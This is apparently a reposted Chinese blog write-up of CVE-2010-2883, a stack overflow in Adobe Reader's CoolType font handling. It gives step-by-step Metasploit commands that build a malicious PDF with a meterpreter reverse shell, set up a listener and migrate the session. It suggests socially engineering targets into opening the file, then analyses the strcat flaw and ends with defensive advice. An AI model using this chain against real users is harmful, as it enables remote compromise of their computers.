• PDF文件攻击


    这次来说说一个关于由PDF文件的栈溢出而引发的远程任意代码执行的典型老版漏洞。这枚漏洞是在2010年被发布出来,距今已快10年之久,但是漏洞却很简单粗暴,有着打开PDF文件就立马中招的效果。

    说起这枚漏洞,就要来掰扯掰扯“漏洞界”的两大“泰山北斗”了。Microsoft的Office套件和Adobe的全家桶,这两家曝出的漏洞,从出洞频率、其危害系数、受影响范围等多个维度来看,都是可以把其他家的软件给远远的抛在后面。

    在Adobe全家桶中的Adobe Flash Player、Adobe Reader、Adobe Acrobat等产品,可以说是“难兄难弟”了,每年都会贡献一大波漏洞。但其实,所有的软件都多多少少存在着漏洞,没有绝对安全的软件,其重点就是看有没有大佬们去挖掘而已。Adobe系列产品因为桌面安装量很大,且官方似乎对于安全开发这块的工作做的不是很好,大量黑客和安全研究人员更愿意投入时间来进行挖洞,一个成熟的可以利用的Adobe 0day漏洞可是值很多很多钱的,要是我能挖到这种0day,我就可以少奋斗几年。嘿嘿嘿嘿~~~

     这枚cve-2010-2883漏洞就是Adobe Reader在处理CoolType字体文件的sing表时,存在栈溢出漏洞,当打开特制的恶意PDF文件时,可允许任意代码远程执行;其Adobe Reader9.3.4之前的版本都受到影响。接下来来复现一下这枚cve-2010-2883漏洞,来看下它的效果。

    ● 环境

    攻击机:Kali Linux(ip:10.1.0.109)

    靶机:Windows 7(ip:10.1.0.101)

    软件:Adobe Reader 9.0、PdfStreamDumper.exe、IDAPro6.6

    ● 过程

    一、开启我们的kali,使用Metasploit来生成PDF木马文件。

    1. 开启Metasploit,搜索cve-2010-2883

    search cve-2010-2883

     2. 调用模块

    use exploit/windows/fileformat/adobe_cooltype_sing/

    3. 调用meterpreter载荷,反向连接到攻击机

    set payload windows/meterpreter/reverse_tcp

    4. 设置攻击机IP地址

    set LHOST 10.1.0.109

    5. 设置本地监听端口(不设置就是默认的4444端口)

    set LPORT 8888

    6. 查看配置是否正确

    show options

    7. 设置生成的文件名

    set FILENAME 0000.pdf

    8. 执行生成文件

    Run(exploit)

    注:生成的文件在隐藏的文件夹中,须将隐藏去掉。

    二、将PDF木马文件拷贝至靶机上(在真实环境下,可以社工一下,诱使目标打开PDF)

    Metasploit开启监听,等待肉鸡上线。

    1. 使用handler监听模块

    use exploit/multi/handler

    2. 回弹一个tcp连接

    set payload windows/meterpreter/reverse_tcp

    3. 设置监听IP地址(与之前设置木马文件的一致)

    set LHOST 10.1.0.109

    4. 设置监听端口(与之前设置木马文件的一致,默认是4444)

    set LPORT 8888

    5. 查看配置是否正确

    show options

    6. 开启监听

    run

    三、肉鸡上线

    在目标打开PDF文件时,会产生卡壳无法正常打开,当软件关闭,meterpreter也将会断开。使用migrate命令将进程迁移至其他进程上,保持连接状态。

    1.使用ps查看正在运行的进程(在这我打开一个文本作为演示)

    2.使用migrate将进程迁移至notepad上,保持连接状态。

    3.查看连接状态

    netstat -a

    至此整个过程结束,成功拿到shell。

    可以看到,最终由于Adobe Reader存在CVE-2010-2883这种高危漏洞,导致电脑打开带有特制的PDF后,就变成了别人家的肉鸡了。

    漏洞分析

    一、使用IDA静态分析CoolType.dll库,定位至出现漏洞的位置;

    在0x0803DBA1调用了strcat函数,strcat函数原型如下:

    char *strcat(char *dest, const char *src);

    strcat会将参数src字符串复制到参数dest所指的字符串尾部,dest最后的结束字符NULL会被覆盖掉,并在连接后的字符串尾部再增加一个NULL。

    漏洞成因就是没有去验证src的长度是否可能会超出dest数组定义的长度。如果我们有可能超出dest数组定义的长度的数据放入src中有可能在后方调用strcat函数时覆盖栈区从而实现代码执行。

    二、使用PdfStreamDumper分析PDF样本文件;

    在官方文档中,入口地址为0x1c为SING表的真实数据;

    而后在偏移0x10就是uniqueName的数据,uniqueName为28位,对齐后为4个字节;

    在CoolType.dll中,使用strcat操作此处时并没有判断长度,所以构造超长的uniqueName可导致栈溢出。

    上CVE看了下关于PDF文件相关的漏洞还真不少,收录在CVE中就有1183条。

    在以往的PDF漏洞来看,最受关注和欢迎的就是上面那种任意代码执行漏洞,这类漏洞的危害也是最大的,一般都是可以在用户电脑上执行任意的恶意代码。但这类漏洞因为PDF沙箱的原因也有着很大的局限性,往往是需要配合系统的提权漏洞一起使用才能进行完整的攻击过程,所以投入的成本较高在这几年来出现的完整攻击样本较少。

    现市面上主流的PDF查看器中都存在着类似问题,使用这些PDF查看器的用户都可能会受到影响。在真实环境下,很多黑客会结合社会工程学,譬如通过诱导邮件、各种论坛、QQ群、微信群等多渠道,诱使用户下载并打开,而文件只要一被打开就有可能中招。

    所以平时要小心陌生的文件,在打开前要明确来源,或使用杀毒软件进行杀毒。尽量保证电脑的软件处于最新版本,这样才能最大程度较低被攻击的概率。不过想必大家现在的电脑上都是360全家桶,一般不会再像早期互联网那时的情况一样出现这种简单粗暴的攻击。

    END

    参考资料:

    《0day安全》

    《漏洞战争》

    https://blog.csdn.net/weixin_33866037/article/details/92911757

    转载:https://mp.weixin.qq.com/s/an2_iOpTXKHnON6OOd069A

  • 相关阅读:
    聊聊、Highcharts 动态数据
    聊聊、Zookeeper Linux 启动
    聊聊、Zookeeper 客户端 Curator
    聊聊、Zookeeper 客户端 ZkClient
    聊聊、Zookeeper API
    聊聊、Zookeeper 数据结构和操作命令
    聊聊、Java 网络编程
    《Mysql 索引
    《Mysql 事务
    《Mysql 一条 SQL 更新语句是如何执行的?(Redo log)》
  • 原文地址:https://www.cnblogs.com/thespace/p/12432970.html
Copyright © 2020-2023  润新知